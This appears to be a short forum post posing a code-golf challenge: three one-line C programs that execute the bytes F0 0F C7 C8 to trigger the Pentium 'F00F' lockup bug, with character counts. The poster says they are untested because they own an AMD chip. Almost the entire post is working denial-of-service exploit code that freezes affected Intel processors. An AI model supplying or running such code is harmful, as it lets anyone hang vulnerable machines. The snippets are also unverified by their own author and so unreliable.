Hey, challenge is on:

main(){int i=0xc8c70ff0;void (*f)()=&i;f();} /* f00fies 44 char */
main(){int i=0xc8c70ff0,(*f)()=&i;f();}
(*f)()="\360\017\307\310";main(){f();}       /* 38 chars */

Compiled with gcc.

(Note that I haven't tested them because I have an AMD k5 which
doesn't suffer from this bug -- perhaps someone with an Intel pentium
could try them).
